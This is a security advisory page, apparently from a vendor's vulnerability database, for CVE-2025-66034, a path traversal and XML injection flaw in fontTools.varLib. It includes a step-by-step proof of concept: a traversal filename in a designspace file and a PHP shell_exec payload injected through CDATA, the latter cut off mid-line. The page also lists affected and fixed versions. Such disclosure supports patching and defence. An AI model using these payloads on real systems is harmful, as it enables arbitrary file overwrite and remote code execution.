fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().
The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).
Overall this allows attackers to:
The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.
fontTools/varLib/__init__.py
```python
filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write
```
1. Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace)
setup.py
```python
#!/usr/bin/env python3
import os
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0, 0))
pen.lineTo((500, 0))
pen.lineTo((500, 500))
pen.lineTo((0, 500))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
fb.save(filename)
if __name__ == '__main__':
os.chdir(os.path.dirname(os.path.abspath(__file__)))
create_source_font("source-light.ttf", weight=100)
create_source_font("source-regular.ttf", weight=400)
```
malicious.designspace
```xml
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<!-- Filename can be arbitrarily set to any path on the filesystem -->
<variable-fonts>
<variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
```
Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.
2. Run the setup.py script to generate source-*.tff files required for the malicious.designspace file.
```bash
python3 setup.py
```
3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename
```bash
fonttools varLib malicious.designspace
```
4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace
```bash
cat {{filename_location}}
```
5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.
malicious2.designspace
```xml
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<!-- XML injection occurs in labelname elements with CDATA sections -->
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">MEOW2</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" defau
This issue can be reached with local access to the system, attack complexity is high, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality none, integrity high, availability low.
The score comes from this vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L
CVE-2025-66034 is classified as CWE-91: XML Injection. Untrusted data is inserted into an XML document or query, changing its structure rather than only its content.
CVE-2025-66034 is recorded against 1 package.
Published on 7 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
pypi.org (Package)
github.com (Advisory)
fonttools has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-91: XML Injection) in other software:
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| fonttools | 4.33.0 | 4.60.2 |
References
Similar Threats
Exploit Protection
CVE-2025-66034 carries CVSS 6.3 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2025-66034 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.